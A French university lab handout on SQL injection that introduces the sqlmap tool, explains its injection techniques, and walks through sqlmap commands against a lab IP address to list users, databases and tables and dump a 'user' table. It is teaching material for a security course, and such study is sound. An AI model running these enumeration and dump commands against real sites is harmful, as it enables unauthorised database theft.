Vous êtes sur la page 1sur 4

|TP 03

Module : Sécurité des systèmes et des réseaux Enseignante :


Héla OUESLATI

Niveau : RSI 31
TP 03 Attaque SQL Injection
Année universitaire :
2022/2023

Consignes
Si certains exercices n'ont pas pu être terminés dans le cadre de cette séance, il est fortement
conseillé de les terminer par vous-même chez vous ou en salle libre-service.

Objectifs du TP

L’objectif de ce TP est de vous familiariser avec les services de base de la sécurité.

Outils
 Kali linux : une machine virtuelle kali linux crée sous vmware. Login : root, password :
toor

I- Présentation Sqlmap

Sqlmap est un outil de test de pénétration open source qui automatise le


processus de détection et d’exploitation des failles d’injection SQL.

La première version de sqlmap a été développée en Python par Daniele


Bellucci et est apparue en 2006. Cette première version ne fournissait un support que sur les
bases de données MySQL et PostgreSQL. La même année, Bernardo Damele A.G reprend le
projet. Il est toujours actuellement le développeur principal du projet.

La dernière version de sqlmap supporte les bases de données suivantes :

 MySQL ;
 Oracle ;
 PostgreSQL ;

Enseignante : Hela OUESLATI 1


|TP 03

 Microsoft SQL Server ;


 Microsoft Access ;
 SQLite ;
 Firebird ;
 Sybase ;
 SAP MaxDB.

Il possède un puissant moteur de détection, de nombreuses fonctionnalités lui permettant la


prise d’empreintes de la base de données, la récupération des données de la base de données,
l’accès au système de fichiers sous-jacent et à l’exécution de commandes sur le système
d’exploitation.

Il implémente différentes techniques afin d’identifier la présence d’une injection sql:

 Boolean-based blind : sqlmap remplace ou ajoute au paramètre affecté dans la

requête HTTP, une chaîne d’instruction SQL syntatiquement valide contenant

un SELECTsous-instruction, ou toute autre instruction SQL dont l’utilisateur souhaite

récupérer la sortie.

 Error-based : sqlmap remplace ou ajoute au paramètre affecté une instruction

provoquant un message d’erreur spécifique à la base de données et analyse les en-

têtes et le corps de la réponse HTTP à la recherche des messages d’erreur du SGBD

contenant la chaîne de caractères prédéfinie injectée et la sortie de l’instruction de

sous-requête

 UNION query : sqlmap ajoute au paramètre affecté une instruction SQL

syntaxiquement valide commençant par un UNION ALL SELECT.

 Stacked queries : également connues sous le nom de support piggy : sqlmap teste si

l’application Web prend en charge les requêtes empilées, puis, au cas où elle prendrait

en charge, il ajoute au paramètre affecté dans la requête HTTP, un point-virgule ( ;)

suivi de l’instruction SQL à exécuter.

 Time-based blind : sqlmap remplace ou ajoute au paramètre affecté dans la requête

HTTP, une chaîne d’instruction SQL synchroniquement valide contenant une requête

qui met en attente le SGBD back-end à renvoyer pendant un certain nombre de

secondes.

Enseignante : Hela OUESLATI 2


|TP 03

II- Installation d’Sqlmap


sqlmap inclus parmis les outils de la distribution Kali Linux.

Si git est installé sur votre machine télécharger le projet avec la commande ci-dessous :

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

III- Test Sqlmap


1. Énumération des utilisateurs

Pour notre cas pratique, nous allons commencer par déterminer l’ensemble des
utilisateurs de la base de données avec la commande :

sqlmap -u http://10.10.176.139/products/1 --users

 -u pour spécifier l’url de la cible;


 –users pour spécifier que nous voulons les infortions concernant les utilisateurs;

2. Énumération des bases avec sqlmap

Nous allons ensuite identifier lister les bases de données

sqlmap -u http://10.10.176.139/products/1 --dbs

avec –dbs pour spécifier qu’on veut toute les bases de données

3. Identifier la base de données utilisée

Nous allons ensuite identifier la base de données utilisée actuellement par le site. Pour le
faire nous allons utiliser la commande suivante:

sqlmap -u http://10.10.176.139/products/1 --current-db

avec –current-db pour spécifier qu’on veut la base de données utilisé actuellement.

4. Énumération des tables d’une base avec sqlmap

Enseignante : Hela OUESLATI 3


|TP 03

Nous allons continuer en identifiant les différentes tables contenues dans cette base de
données grâce à la commande

sqlmap -u http://10.10.176.139/products/1 -D duckyinc --tables

avec -D pour spécifier la base de données qu’on veut utiliser et –tables pour avoir la liste
des tables.

5. Dump d’une table avec sqlmap

Nous pouvons maintenant avoir le contenu de cette table avec la commande

sqlmap -u http://10.10.176.139/products/1 -D duckyinc -T user --dump

avec-T pour spécifier la table et –dump pour avoir le contenu de la table.

Enseignante : Hela OUESLATI 4

Vous aimerez peut-être aussi